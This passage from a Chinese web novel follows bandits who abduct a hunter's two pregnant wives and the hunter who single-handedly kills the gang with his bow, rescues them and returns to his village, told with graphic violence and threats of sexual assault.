篮子里,那只银色的小狼崽精神头好了许多,正伸出粉嫩的舌头,小口小口地舔着白梦秋手指上沾着的肉糜。
“姐姐你看,它吃东西了!”白梦秋脸上满是惊喜,小心翼翼地又喂了一点。
白梦夏温柔地笑着,伸手抚摸着小狼崽顺滑的皮**,眼底是化不开的柔情。
然而,这片宁静,很快便被一阵杂乱而嚣张的脚步声,轰然撕碎。
本就破旧的院门,被人一脚粗暴地踹开,狠狠撞在土墙上,发出一声巨响。
院中的姐妹俩和那只小狼崽同时受惊,猛地抬起头。
只见院门口,赵癞头和王麻子正谄媚地躬着身子,引着十几个手持钢刀、满脸横肉的汉子,气势汹汹地闯了进来。
为首一人,身材魁梧得像一头黑熊,敞着怀,露出满是黑**的胸膛。他脸上有一道从眉骨斜劈到嘴角的刀疤,随着他咧嘴的动作,像一条狰狞的蜈蚣在蠕动。他扛着一把环首大刀,浑身散发着浓烈的血腥气和煞气。
此人,正是附近黑风寨的三当家,熊霸。
“就是这儿,熊爷,就是这儿!”赵癞头谄媚地笑着,一指院中的姐妹俩,“您看,那两个小娘们,小的没骗您吧?”
熊霸的目光,瞬间就黏在了白梦夏和白梦秋的身上。
姐妹俩本就容颜绝世,怀了身孕后,更是添了几分丰腴动人的风韵。此刻,她们受惊之下,花容失色,俏脸煞白,那副我见犹怜的模样,更是让熊霸眼中的淫光暴涨。
“好!好!好!”熊霸一连说了三个好字,口水都快流下来了,“比画上的仙女还俊!赵癞头,你小子这次干得不错!”
姐妹俩被他那赤裸裸的目光看得浑身发毛,下意识地抱在一起,不住地向后退去,脸上写满了惊恐与无助。
“呜……嗷!”
就在这时,她们脚边那只银色的小狼崽,似乎感受到了主人的恐惧和来者的恶意,挣扎着站起身,冲着那群凶神恶煞的山匪,龇着还没长齐的乳牙,发出了威胁性的低吼。
“哪来的小畜生,也敢在老子面前叫唤!”
熊霸旁边一个山匪,脸上露出一丝狞笑,抬起脚,对着那小小的银色身影,就是一脚。
“砰!”
小狼崽连惨叫都没来得及发出,就像一个破布娃娃般被踢飞出去,撞在远处的墙根上,滚落在地,发出一阵凄惨的呜咽,身体抽搐了几下,便没了动静。
“不要!”
白梦夏和白梦秋同时发出一声凄厉的尖叫,也顾不上害怕了,连滚带爬地冲过去,将那已经奄奄一息的小狼崽抱在怀里,眼泪瞬间决堤。
“妈的,哭哭啼啼的,晦气!”熊霸不耐烦地啐了一口,大手一挥,对着身后的山匪狂笑道:“还愣着干什么!给老子搬!吃的、穿的,所有值钱的东西,全部搬空!这两个小美人儿,给老子囫囵个儿带走!”
“是,三当家!”
十几个山匪发出一阵哄笑,一拥而上。
屋里很快传来东西被肆意翻砸的声音,桌椅被掀翻,瓦罐被砸碎,姐妹俩好不容易才营造出的那个温馨小家,在顷刻间被毁于一旦。
另外两个山匪则狞笑着,拿出粗麻绳,朝着哭喊的姐妹俩逼近。
“住手!”
就在这时,一声暴喝从院外传来。
江峰和王囤闻讯赶来,两人一个手持猎叉,一个扛着锄头,看着院中这狼藉的一幕,双目赤红。
“你们是什么人!光天化日,强抢民女,还有没有王法!”江峰怒吼着,将猎叉死死对准熊霸。
熊霸像是听到了什么天大的笑话,他掏了掏耳朵,不屑地冷笑一声,冲着身旁两个山匪挥了挥手,眼神如同在看两个**。
“弄死他们。”
“是!”
两个山匪狞笑着冲了
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上去。
江峰虽是猎户,有些力气,但对付的都是野兽。王囤更是个老实的庄稼汉。他们哪里是这些刀口舔血的悍匪的对手?
只一个照面,江峰的猎叉就被对方荡开,紧接着胸口便结结实实地挨了一脚,整个人倒飞出去,一口鲜血喷了出来。
王囤的锄头还没等抡起来,手腕就被另一个山匪抓住,反手一拧,“咔嚓”一声脆响,锄头落地,他的胳膊被硬生生折断,发出一声痛苦的闷哼,也被一脚踹翻在地。
两个山匪还不解气,上前对着倒地的两人就是一顿拳打脚踢。
“噗!”
江峰和王囤被打得蜷缩在地,口中不断涌出鲜血,他们挣扎着想要爬起,却被山匪死死地踩住后背,动弹不得,眼中满是血丝和不甘。
“哥!”
“王囤大哥!”
白梦夏和白梦秋发出绝望的哭喊。
然而,她们的哭喊换不来任何怜悯。两个山匪已经走到了她们面前,粗暴地抓住她们的胳膊,用麻绳将她们的双手反绑在身后。
冰冷的绳索勒进雪白的肌肤,姐妹俩拼命挣扎,却无济于事,眼中是无尽的绝望和恐惧。
很快,屋里的山匪扛着一袋袋的粮食、腊肉,还有江夜打来的那些珍贵皮**,走了出来。整个家,被洗劫一空。
“走!回山寨!”
熊霸志得意满地扛起大刀,在姐妹俩惊恐的目光中,肆意地在她们脸上捏了一把,发出一阵**的狂笑。
山匪们押着哭泣挣扎的姐妹俩,扛着沉重的战利品,在村民们惊恐躲闪的目光中,扬长而去。
赵癞头和王麻子跟在队伍最后面,看着被洗劫一空的江家,看着被押走的两个绝色美人,脸上是掩饰不住的得意和怨毒。
江夜,你不是能耐吗?
等你回来,看到家没了,婆娘也没了,不知道会是什么表情!
想到这里,两人对视一眼,都从对方眼里看到了无比的快意,几乎要笑出声来。
第27章 她们被抓走了
江夜下山时,心情格外舒畅。
他脑子里已经开始盘算着,那座属于自己的青砖大瓦房,该盖成什么样式了。
正房三间,东西厢房,还要有个大大的院子,给梦夏和梦秋种些花草。那只捡来的小狼崽,也得给它搭个舒服的窝。
收获的喜悦冲淡了攀爬的疲惫,他的脚步越来越快。
然而,当稻花村的轮廓出现在眼前时,江夜的脚步却猛地一顿,眉头瞬间拧成了疙瘩。
村子里,不对劲。
**静了。
这个时辰,本该是村里炊烟袅袅、人声嘈杂的时候。可现在,整个村子却安静得像一座坟。没有鸡鸣狗叫,没有妇人骂孩子的吵闹声,甚至连一丝炊烟都看不到。
一股不祥的预感,瞬间笼罩上心头。
江夜眼神一凛,不再掩饰身形,速度陡然加快,直奔自家方向冲去。
越靠近,那股不祥的预感就越发强烈。
空气中,弥漫着一股淡淡的血腥味和东西被砸烂后的尘土味。
当他冲到自家院门口时,眼前的一幕,让他浑身的血液瞬间凝固,一股滔天的杀意轰然炸开!
院门大开,门框上还带着被暴力踹开的裂痕。
院子里一片狼藉,仿佛被一百头野猪犁了一遍。晾晒的衣物被撕得粉碎,锅碗瓢盆的碎片撒了一地,就连那几块准备用来做家具的木料,都被砍得乱七八糟。
江峰和王囤浑身是血地倒在院子中央,江峰的猎叉断成了两截,王囤的锄头柄也裂开了,两人脸上青一块紫一块,嘴角挂着血沫,正挣扎着想要爬起来,却又无力地倒下。
“哥!”
江夜目眦欲裂,一个箭步冲了过去,将江峰扶起。
“咳咳……二弟,你……你可回来了……”江峰一开口,就咳出一口血,他死死抓住江夜的胳膊,眼睛血红,声音里充满了悔恨和急切,“是……是黑风寨的山匪!梦夏和梦秋……她们……她们被抓走了!”
说完这句话,江峰头一歪,便昏**过去。
被抢走了……
这四个字,在江夜的脑海中轰然炸响。
那片刻的空白与懵然,在瞬间被一股足以焚天灭地的狂怒所取代。
江夜身体僵直地跪在地上,他缓缓地抬起头。
那双原本清澈的眸子,此刻已经变得一片赤红,没有丝毫的情感,只有凝如实质的杀意。
他小心翼翼地,将哥哥和王囤挪到墙角靠好。
然后,他站了起来,拿起了那把通体黝黑的铁桦木长弓。
下一刻,他的身影动了。
没有丝毫的停顿,冲出院门,通知了大哥家和王囤家后,便朝着村外黑风寨所在的方向,狂奔而去。
风在他耳边呼啸,两旁的景物飞速**,可这一切都无法进入他的感知。
他的世界里,只剩下那一片赤红的杀意。
……
黑风寨,聚义厅。
“聚义”两个大字,龙飞凤舞,透着一股讽刺的意味。
大厅里,火把烧得“噼啪”作响,酒气、肉气和男人的汗臭味混杂在一起,熏得人作呕。
白梦夏和白梦秋姐妹俩,被粗暴地用麻绳绑在大厅中央的两根红漆柱子上。
她们的头发散乱,脸上挂着未干的泪痕,那双平日里柔情似水的眸子里,此刻只剩下无尽的恐惧和彻骨的绝望。
“哈哈哈哈!三当家威武!”
“啧啧,瞧这小脸,这身段,比县城里的头牌姑娘还水灵!”
“三当家,今晚可得加把劲,别辜负了兄弟们的一番心血啊!”
几十个山匪围在四周,一边大口喝酒,一边大块吃肉,一双双充满淫邪和贪婪的目光,肆无忌惮地在姐妹俩身上来回扫视,嘴里喷着各种不堪入耳的污言秽语。
赵癞头和王麻子,正点头哈腰地站在一个刀疤脸大汉面前,脸上是极尽谄媚的笑容。
“熊爷,您看,小的没骗您吧?”赵癞头指着被洗劫来的财物,又指了指柱子上的姐妹俩,一脸邀功的嘴脸,“那江夜小子打来的虎皮、熊皮,还有这几百斤的肉,现在全都是您的了!还有这两个小美人儿,也孝敬给您,给您泄泄火!”
王麻子在一旁拼命点头,哈喇子都快流出来了:“是啊熊爷,这俩小骚蹄子,嫩得能掐出水来,您今晚可有福了!”
被称作熊爷的刀疤脸大汉,正是黑风寨三当家熊霸。
他一脚踩在桌子上,手里抓着一只烧得流油的猪腿,狠狠咬了一口,油水顺着他杂乱的胡须往下滴。
他眯着眼,那双浑浊的三角眼里,满是贪婪和淫欲的光芒,在姐妹俩玲珑有致的身上来回逡巡。
“不错,不错!干得好!”熊霸满意地拍了拍赵癞头的肩膀,力气大得让赵癞头龇牙咧嘴,“等老子玩完了,这两个娘们就赏给你们兄弟俩乐呵乐呵!”
赵癞头和王麻子闻言,顿时喜出望外,激动得满脸通红,对着熊霸连连作揖:“谢熊爷!谢熊爷赏!”
两人对视一眼,都看到了对方眼中的狂喜和淫邪。
他们仿佛已经看到,江夜回来后发现家破人亡、妻离子散的绝望表情,仿佛已经看到,这两个平日里让他们魂牵梦绕的绝色美人,在他们身下哭泣求饶的场景。
快意!无与伦比的快意!
熊霸又灌了一口酒,一脚踹在旁边一个正在啃骨头的山匪屁股上。
“大当家和二当家呢?**,这么大的好事,怎么就老子一个人乐呵?”
那小弟连滚带爬地站起来,点头哈腰地回道:“回三当家,大当家和二当家带人去端凤啸寨的鸟窝了!那凤啸寨虽然人少,但那个叫慕容晴的小娘皮,性子烈得很,
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估计是费了点手脚。不过您放心,算算时辰,也该凯旋了!”
“凤啸寨?”熊霸冷笑一声,眼中闪过一丝贪婪,“就慕容家那个黄毛丫头,也敢跟我们黑风寨叫板?她老子在的时候,见了我们都得绕道走!这次正好,把她也抓回来,给老子当个压寨夫人!”
话音刚落,寨子外面突然爆发出山呼海啸般的欢呼声,那动静,仿佛要把整个山头都给掀翻。
“回来了!大当家他们回来了!”
“大获全胜!!”
聚义厅里的山匪们瞬间沸腾了,一个个扔了手里的酒肉,兴奋地朝门口涌去。
很快,两个身影在一众山匪的簇拥下,大步走进了聚义厅。
走在最前面的,是一个身材高瘦,面色阴鸷的中年男人。他穿着一身黑色劲装,腰间挎着一把细长的钢刀,行走间带着一股枭雄般的狠戾之气,正是黑风寨大当家,林枭。
他身旁,是一个手持双斧的壮汉,满脸横肉,眼神凶悍,乃是二当家,石猛。
在他们身后,一队山匪正推搡着一批俘虏,走进了灯火通明的大厅。
当看清被押在最前面的那道身影时,熊霸的眼睛猛地亮了,就连周围那些原本只盯着白梦分姐妹的山匪,也都不由自主地倒吸了一口凉气。
那是一个身穿火红劲装的女子,身段高挑火爆,即便嘴角带着一丝血迹,头发也有些散乱,但那张美艳张扬的脸上,却看不到丝毫的畏惧。
她那双微微上挑的凤眼,此刻正燃烧着熊熊怒火,死死地瞪着林枭。
正是凤啸寨寨主,慕容晴。
在她身后,赵义山等一众凤啸寨的弟兄,个个带伤,人人挂彩。
赵义山的一条胳膊软软地垂着,显然已经断了,但他依旧挺直了腰杆,用身体护在慕容晴身后,那双虎目死死瞪着周围的山匪,满是悲愤。
“哈哈哈哈!”
短暂的寂静后,聚义厅内爆发出比刚才更加狂热的欢呼声。
“大当家威武!”
“凤啸寨那帮不长眼的东西,终于栽了!”
“啧啧,连凤啸寨那匹小烈马都被抓来了,这下咱们黑风寨,可真是方圆百里,一家独大了!”
熊霸也从虎皮椅上站了起来,脸上满是惊喜和淫邪:“大哥,二哥!你们这是……把凤啸寨给端了?”
大当家走到主位前,将背上的鬼头刀“哐”的一声插在桌上,发出一声巨响。
“凤啸寨,从今天起,没了。”
他提起一个酒坛,高高举起,声如洪钟。
“兄弟们!今晚,庆功!”
“所有抢来的粮食,敞开了吃!酒,敞开了喝!”
“至于女人……”他咧开嘴,露出满口黄牙,“随便玩!”
“噢——!”
整个聚义厅,彻底沦为一片狂欢的魔窟。
第28章 一箭穿心
聚义厅内,酒宴彻底摆开,狂欢的气氛已经攀至顶峰。
山匪们将抢来的粮食、酒坛堆在地上,大块的肉在火上烤得滋滋作响,浓烈的肉香和刺鼻的酒气混在一起,熏得整个大厅都乌烟瘴气。
熊霸像献宝一样,粗鲁地将白梦夏和白梦秋姐妹俩从柱子上解下来,一把推到大当家林枭的面前。
“大哥!你看我给你带回来了什么好货色!”
林枭的目光本是落在被俘的慕容晴身上,此刻闻言转过头来。当他看清姐妹俩那梨花带雨的绝美容颜时,那双阴鸷的眸子里瞬间爆发出贪婪的精光。
“好!好!好!”林枭一拍大腿,连说三个好字,眼神肆无忌惮地在三个女人身上来回扫视,“熊霸,你这次功劳不小!”
宴席彻底沦为了对三个女人的品评会。
“啧啧,大哥好福气!这三个娘们,随便一个都能让兄弟们快活死!”二当家石猛举着酒碗,嘿嘿淫笑。
“那个穿红衣服的,够劲!老子就喜欢这种烈的!”
“旁边那俩小的也不差,那皮肤,比豆腐还嫩!你看那小腰,一掐就断……”
不堪入耳的污言秽语,伴随着阵阵哄笑,狠狠扎进白梦夏、白梦秋和慕容晴的心里。
白梦夏死死护住妹妹,身体抖得像秋风中的落叶,她将藏在袖口里的一小块碎瓷片握得更紧了。这是她们被抓时,她拼死藏下的。若是真到了那一步,她宁可带着妹妹一起死,也绝不受辱。
白梦秋躲在姐姐身后,小脸煞白,泪水无声地滑落。她一手抓着姐姐的衣角,另一只手下意识地护住自己的小腹。那里,有一个刚刚孕育的小生命。她看着周围那些豺狼般的目光,心中只剩下一片冰冷的绝望。
夫君……你在哪里……
慕容晴的脸上没有泪,只有彻骨的寒意。
她那双燃烧着怒火的凤眼,死死地盯着主位上的林枭,仿佛要将他生吞活剥。
她同样做好了准备,只要有机会,她会毫不犹豫地咬舌自尽。
“寨主!”被山匪踩在地上的赵义山看到这一幕,目眦欲裂。他拼尽全身力气,挣扎着想要爬起来:“林枭!你这帮畜生!有种冲我来!放了我们寨主!”
“吵**!”
石猛眉头一皱,走上前去,抬起脚,狠狠一脚踹在赵义山的后脑上。
“砰!”
赵义山闷哼一声,脑袋重重磕在地上,双眼一翻,彻底晕死过去。
“哈哈哈哈!”林枭看着这一幕,不以为意地狂笑起来,他举起酒坛,将烈酒一饮而尽,然后重重地摔在地上。
“都给老子安静!”
大厅里瞬间安静下来,所有山匪都看向他。
林枭伸出舌头,舔了舔嘴唇上残留的酒渍,那双淫邪的眼睛,在三个女人身上来回逡巡,最后,他一指三人,对身旁的熊霸下令。
“把这三个美人儿,都给老子带到房里去!今晚,老子要好好庆功!”
“是!大哥!”熊霸脸上露出狰狞的笑容,搓着一双油腻的大手,转身就朝着离他最近的白梦秋走去。
白梦秋看着那张狞笑着靠近的脸,看着那只即将触碰到自己的脏手,脑中一片空白,连挣扎都忘了。
就在熊霸的手指即将触碰到白梦秋衣襟的瞬间。
“咻——!”
一道破空声,毫无征兆地从大厅之外响起!
那声音,快得让人根本来不及反应!
大厅里所有人都只觉得眼前一道黑影闪过。
“噗嗤!”
一声利器入肉的轻响。
正满脸淫笑的熊霸,脸上的表情瞬间凝固。
他的动作停住了。
那只伸向白梦秋的手,无力地垂了下去。
大厅里狂热的喧嚣,戛然而止。
所有人都惊愕地看着熊霸。
只见他那宽大的额头正中央,不知何时,多出了一截黑色的箭羽。箭羽的末端,还在微微地高频颤动。
熊霸脸上的淫笑还未散去,那双三角眼里,却已经充满了极致的惊骇与不敢置信。他张了张嘴,似乎想说什么,却一个音节都没能发出。
下一刻,他那魁梧如黑熊般的身躯,直挺挺地向后倒去。
“砰!”
一声巨响,尘土飞扬。
黑风寨三当家熊霸,死不瞑目。
全场死寂。
数十名山匪,包括主位上的大当家林枭和二当家石猛,全部僵在原地。
他们瞪大了眼睛,死死盯着熊霸额头中央那截兀自颤动的黑色箭羽,又顺着箭矢来时的方向,惊骇地望向大厅门口。
那里,月光如霜,为一个身影镀上了一层冰冷的银边。
江夜手持那把造型古朴的黑色长弓,一步步踏入大厅,那双眸子比深冬的寒潭还要冰冷,里面没有丝毫人类的情感,只有一片猩红的杀意。
“夫君……”
一声带着哭腔的呢喃,几乎微不可闻。
白梦秋看着那个如同天神般降临的身影,那张被恐惧和绝望占据的小脸,瞬间被狂喜的泪水淹没。
是他,真的是他!他来救我们了!
白梦夏死死咬着嘴唇,才没让自己哭出声来。她看着那个男人,看着他手中那把散发着幽光的长弓,那颗沉入深渊的心,在瞬间被一只大手捞起,重新剧烈地跳动起来。
慕容晴也怔住了。
她美眸圆睁,她认出了那把弓,也认出了那个身影。是他!那个在山林里箭术惊人,言语轻佻的男人!他怎么会在这里?
大厅内短暂的死寂之后,是被愤怒点燃的咆哮。
“**!哪来的杂碎,敢在老子黑风寨撒野!”
林枭猛地一拍桌子,那双阴鸷的眸子瞬间充血,死死地盯住江夜。他身旁的石猛也抓起了桌上的双斧,满脸横肉都在颤抖。
“给老子宰了他!把他剁成肉酱喂狗!”
林枭的嘶吼声,唤醒了那些被吓傻的山匪。
“杀!”
“弄死他!”
匪徒的凶性被激发,离门口最近的十几个山匪挥舞着钢刀、利斧,面目狰
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狞地朝着江夜猛扑过去。
江夜的表情没有丝毫变化。
他只是抬起了手中的长弓。
拉弓,松手。
动作简单、干脆,快到极致。
“嗡——”
一支箭矢离弦,化作一道无法捕捉的黑色闪电。
冲在最前面的一个山匪,脸上的狞笑还未散去,眉心便炸开一朵血花,整个人向后直挺挺地倒下,砸翻了身后的同伴。
不等众人反应,江夜的手指已经再次搭上弓弦。
拉弓,松手。
“咻!咻!咻!”
弓弦的震动声连成一片,箭矢如流星,连珠发射!
每一箭都精准地带走一条鲜活的生命。
咽喉、眉心、心脏……箭矢总能从最刁钻的角度,钻进人体最脆弱的部位。
冲在最前面的山匪,成片成片地倒下。惨叫声甚至来不及发出,便被利箭穿喉的声音所取代。
血花在大厅中次第绽放,浓烈的血腥味瞬间压过了酒气和肉香。
“啊——!”
终于,有山匪冲破了箭雨的封锁,手中的钢刀带着风声,狠狠劈向江夜的头颅。
江夜眼神一冷,左手手腕猛地一抖。
一道带着绳索的黑影,呼啸着窜上高空,“咔嚓”一声,精准地勾住了大厅的横梁。
他左手发力,身体瞬间腾空而起,轻盈得如同一片没有重量的落叶,险之又险地躲开了那致命的刀锋。
那名山匪一刀劈空,还没来得及抬头,就感觉头顶一凉。
江夜在空中调整身形,右手已经再次拉开弓弦。
“咻!”
居高临下的一箭,从那山匪的天灵盖贯入,直没至羽。
他双脚在横梁上轻轻一点,身形如猿猴般在房梁之间穿梭跳跃,手中的长弓,化作了阎王的催命符。
聚义厅,彻底变成了人间地狱。
剩下的山匪看着房梁上那个如同鬼魅般的身影,看着他每一次拉弓,都必然会有一个兄弟倒下,那份深入骨髓的恐惧,终于彻底摧毁了他们最后的心理防线。
“鬼……是鬼啊!”
一个山匪扔掉手里的刀,发出一声歇斯底里的尖叫,转身就朝着大厅外连滚带爬地逃去。
这个举动,像是一根**,瞬间点燃了所有人的崩溃。
“跑啊!”
“别杀我!别杀我!”
山匪们彻底乱了,丢盔弃甲,哭爹喊娘,疯了一样地朝着门口和后门涌去。
江夜的身影从横梁上一跃而下,稳稳落地。
他看着那些四散奔逃的身影,眼神依旧冰冷。
弓弦,再次响起。
追魂,夺命。
每一声弓弦的震颤,都伴随着一声绝望的惨叫。
逃向门口的山匪,被从背后射穿心脏,尸体堵住了唯一的生路。
企图从窗户翻出去的山匪,被一箭钉在窗框上,挣扎着,哀嚎着,慢慢死去。
江夜面无表情地走过尸山血海,手中的弓,还在滴着血。
最终,他停在了大厅主位之前。
第29章 人间炼狱
眼看大势已去,满地都是自己兄弟的尸体,主位上的林枭和石猛终于清醒过来。
两人对视一眼,几乎是同时做出了反应。
林枭一个饿虎扑食,手中那把细长的钢刀瞬间架在了慕容晴雪白的脖颈上。
而另一边的石猛也狞笑着,一把揪住离他最近的白梦夏,锋利的斧刃贴上了她的俏脸。
“别过来!”林枭色厉内荏地嘶吼,挟持着慕容晴,一步步向后退去,“你再敢动一下,老子先宰了这娘们!”
石猛也跟着尖叫:“还有这个!给老子放下弓!不然大家一起死!”
白梦秋看着姐姐被挟持,刚刚升起的希望瞬间被浇灭,小脸煞白,哭喊着:“不要伤害我姐姐!”
慕容晴被冰冷的刀锋抵着喉咙,但那双燃烧着怒火的凤眼,却没有丝毫畏惧,反而充满了鄙夷。
江夜的脚步停了下来。
他站在血泊之中,周围是横七竖八的尸体,那张俊朗的脸上没有任何表情,只是那双赤红的眸子,寒意更盛。
看到江夜停下,林枭和石猛都松了口气,以为震慑住了他。
“把弓扔了!快点!”林枭吼道。
江夜嘴角,勾起一抹冰冷到极致的弧度。
两支黑色的箭矢,同时搭上了弓弦。
江夜没有给他们任何反应的时间。
弓开满月,弓弦震颤。
“咻!咻!”
两声破空声响起。
两支箭矢并非呈直线飞出,而是在半空中划出了两道极其诡异的弧线,灵巧地绕过了白梦夏和慕容晴的身体。
下一瞬。
“噗嗤!”
“噗嗤!”
两声利器入肉的闷响,同时响起。
“啊——!”
林枭和石猛爆发出杀猪般的惨嚎。
他们架在女人脖子上的刀和斧,“哐当”一声,齐齐掉落在地。
两人的右手手腕,被箭矢齐根洞穿,死死地钉在了身后的木柱上,鲜血狂飙。
江夜的身影,在他们惨叫的瞬间,动了。
快如闪电,势若奔雷。
只在原地留下一个淡淡的残影,人已经欺身至两人面前。
在林枭和石猛不敢置信的眼神中,江夜面无表情地伸出双手,分别扣住了他们的脖子。
手臂,微微发力。
“咔嚓!”
“咔嚓!”
两声清脆的骨裂声,在大厅中显得格外刺耳。
至此,整个聚义厅,尸横遍地,黑风寨山匪再无一个活口。
浓烈的血腥味,几乎令人作呕。
白梦夏、白梦秋、慕容晴,三个人都彻底惊呆了。
她们站在原地,看着那个如同从地狱中走出的杀神,看着满地的尸骸,大脑一片空白,失去了思考的能力。
江夜扔掉已经沾满鲜血的弓,走到她们面前。
他抽出腰间的柴刀,手起刀落,割断了绑在她们身上的绳索。
绳索落地的瞬间,仿佛一个开关。
“夫君!”
“呜呜呜……夫君!”
白梦夏和白梦秋再也抑制不住,一左一右扑进江夜的怀里,将小脸深深埋在他的胸膛,失声痛哭。
那哭声里,有劫后余生的狂喜,有深入骨髓的恐惧,更有无尽的委屈和依赖。
江夜没有说话,只是伸出双臂,紧紧地将两个颤抖的娇躯搂在怀里,轻轻拍打着她们的后背,无声地安抚着她们的情绪。
慕容晴站
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在一旁,呆呆地看着这一幕。
她看着那个男人,刚才还如杀神降世,此刻却满眼温柔地安抚着怀中的妻子。
这种极致的反差,让她心脏莫名地漏跳了一拍。
她再看向江夜的眼神,那份惊骇与震惊,已经悄然转化为一种她自己都未曾察觉的异样光彩。
良久,姐妹俩的哭声渐渐平息,只是身体还在微微抽噎。
慕容晴深吸一口气,整理了一下散乱的衣衫,走到江夜面前。
她挺直了腰杆,对着江夜,郑重地抱拳躬身。
“多谢阁下救命之恩!今日之恩,我慕容晴,以及整个凤啸寨,没齿难忘!我欠你一条命!”
她的声音清亮,带着一丝习武之人的英气,话语中是发自肺腑的感激与郑重。
江夜点了点头,目光扫过她,又看了看地上那些同样被俘的凤啸寨汉子。
“带着你的人,先走吧。”
慕容晴不再多言,走到赵义山身边,将他唤醒,又招呼着其他几个尚有意识的弟兄,互相搀扶着站了起来。
当他们看清大厅内这如同修罗场般的景象时,无一不是倒吸一口凉气,看向江夜的眼神,充满了敬畏。
“寨主,这……”赵义山捂着剧痛的后脑,声音沙哑。
“什么都别问,我们走。”慕容晴打断了他。
她领着一众残兵败将,踉踉跄跄地向大厅外走去。
在踏出门口的前一刻,她忍不住回过头,深深地看了江夜一眼。
夕阳的余晖从门口洒入,将江夜和他怀中两个娇弱的妻子笼罩其中,一半是血腥的地狱,一半是温情的暖光。
这一眼,仿佛烙印,深深地刻在了她的心里。
第30章 他回来了!
聚义厅内,血腥味浓得化不开。
江夜松开怀里还在微微抽噎的姐妹俩,他温柔地为她们拭去脸上的泪痕和血污,那双刚刚还充斥着滔天杀意的眸子,此刻只剩下令人心安的暖意。
他柔声安抚道:“没事了,都过去了,在这里等我。”
姐妹俩点点头,紧紧依偎在一起,看着满地尸骸,小脸依旧煞白,但只要这个男人在身边,那份深入骨髓的恐惧似乎就被隔绝在外了。
江夜的目光扫过这片人间炼狱,没有丝毫波澜。他不是什么善男信女,对这些手上沾满无辜者鲜血的山匪,他没有半分怜悯。
他一路搜寻,找到了黑风寨的库房。
库房大门上了两把铜锁,但这对于江夜来说却不是什么难题。
他伸手一拉,两个铜锁便应声落地,厚重的木门应声而开。
门后,珠光宝气瞬间晃花了人的眼。
一箱箱码放整齐的银锭,在火光下闪着诱人的光泽。
旁边几个打开的木盒里,黄澄澄的金条随意地堆着。角落里,还散落着一些女人的珠钗首饰。
江夜眼神一扫,又在一个架子上发现了几叠厚厚的银票,面额从十两到一百两不等,粗略一算,足有数千两之多。
在银票旁边,是几个贴着封条的锦盒。江夜打开一个,一股浓郁的药香扑鼻而来,里面静静躺着一支品相极佳的百年老山参。其他几个盒子里,也都是些何首乌、灵芝之类的珍稀药材。
黑风寨盘踞此地多年,烧杀抢掠,搜刮来的民脂民膏,此刻全都便宜了江夜。
他毫不客气,找来一块最大的桌布,将金银、银票、药材一股脑地倒在上面,胡乱打了个巨大的包裹,背在背上。
做完这一切,他走到惊魂未定的姐妹俩面前。她们经历了这番惊吓,早已浑身发软,连站立都有些勉强。
江夜二话不说,俯下身,伸出两条铁臂。
在姐妹俩的惊呼声中,他竟将两人一左一右,如同抱孩子一般,轻松地将他们抱入怀中。
白梦夏和白梦秋下意识地搂住他的脖子,将滚烫的小脸埋进他坚实的胸膛,感受着那强有力的心跳,一颗惶恐不安的心,终于彻底落了地。
江夜背上背着足有数百斤的包裹,两只手稳稳地托住怀中的娇妻,大步流星地走出了这座已经沦为鬼蜮的黑风寨。
山风清冷,吹散了他身上的一些血腥气,却吹不散他眼底的寒意。
……
夜已深,稻花村却还没彻底安静下来。
江夜家被山匪洗劫一空,江峰和王囤被打得半死的消息,早就传遍了整个村子。
几十个胆子大的村民聚在村口的老槐树下,举着火把,七嘴八舌地议论着。
“唉,真是造孽啊!江家兄弟也太惨了!”
“我听说那伙人是黑风寨的山匪,一个个**不眨眼,江夜那两个漂亮媳妇落到他们手里,怕是……”一个汉子没敢说下去,只是一个劲地摇头。
“江夜也是,怎么就敢一个人追去呢?这下好了,家没了,人也没了。”
人群后面,王翠花揣着手,脸上是掩饰不住的幸灾乐祸。她撇着嘴,对着身边的几个长舌妇阴阳怪气地嘀咕:“我看啊,八成是回不来了!就他那懒汉样,还想跟山匪斗?别是现在已经被剁碎了喂狼了!”
“就是,还有那两个狐狸精,整天勾着男人魂,这下遭报应了吧!”
“可惜了那两身细皮嫩肉,也不知道要被多少个山匪……”
她们正说得起劲,污言秽语不堪入耳,人群中突然传来一阵倒吸凉气的声音,议论声戛然而止。
“快……快看!那是什么!”
所有人不约而同地朝着村口漆黑的土路望去。
月光下,一道高大的身影,正从黑暗中一步步走来。
随着他越走越近,村民们终于看清了来人的模样,所有人都像是被掐住了脖子的鸡,瞬间失声。
是江夜!
他回来了!
他怀里,一边一个,抱着两个女人,正是被抓走的白梦夏和白梦秋!他
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的背上,还背着一个鼓鼓囊囊的巨大包裹!
更让他们肝胆俱裂的是,随着江夜走近,一股浓烈到令人作呕的血腥味,扑面而来。
借着火光,他们能清晰地看到,江夜的身上、脸上,都溅满了早已干涸的暗红色血迹,整个人仿佛刚从血池里捞出来一样。
他走得很稳,每一步都像是踩在所有人的心尖上。那双眸子在夜色中,亮得吓人,扫过人群时,带着一股漠视一切的冰冷。
整个村口,死一般的寂静。
之前还在嚼舌根的王翠花,脸上的讥笑瞬间凝固。
她看着那个如同地狱杀神般的江夜,双腿一软,“噗通”一声,竟吓得一屁股瘫坐在了地上,脸色惨白如纸,抖如筛糠。
江夜的目光在她身上停留了不到一瞬,便挪开了,仿佛只是看了一眼路边的土狗。
他无视所有村民惊骇欲绝的目光,抱着妻子,径直穿过人群,朝着自家的方向走去。
直到他的背影消失在巷子尽头,死寂的人群才仿佛活了过来,爆发出山崩海啸般的哗然。
“天哪!他……他把人救回来了?”
“他身上的血……他到底干了什么?”
“黑风寨……难道……”
没人敢把那个可怕的猜测说出口,但每个人心里都清楚,稻花村,从今夜起,要彻底变天了。
江夜回到自己那破败的院子,看着满地的狼藉,眼神又冷了几分。
他小心翼翼地将怀中已经睡着的姐妹俩放下,让她们靠在墙角还算干净的草垛上。
许是回到了熟悉的地方,又或许是男人的气息让她们安心,即便在睡梦中,姐妹俩的眉头也渐渐舒展开来。
江夜没有去管那被洗劫一空的屋子,也没有理会那满地的狼藉,只是走到灶台边,沉默地点燃了灶膛里的火,开始烧水。
熊熊的火光,映着他那张还沾着血迹的侧脸,也映着姐妹俩那满是泪痕却写满安心的小脸。
仿佛只要这个男人在,天,就塌不下来。
第31章 哥,我回来了
灶膛里的火烧得正旺,巨大的木桶里,热水升腾起氤氲的白雾,将这破败狼藉的屋子,模糊出一片不真切的暖意。
江夜走到墙角,看着依偎在草垛上,即便睡着了也依旧身体紧绷的姐妹俩,心中一痛。他俯下身,动作轻柔的将两人横抱而起。
“唔……”
怀中的娇躯轻轻一颤,白梦夏和白梦秋几乎同时睁开了眼,眸子里还带着未散尽的惊恐。
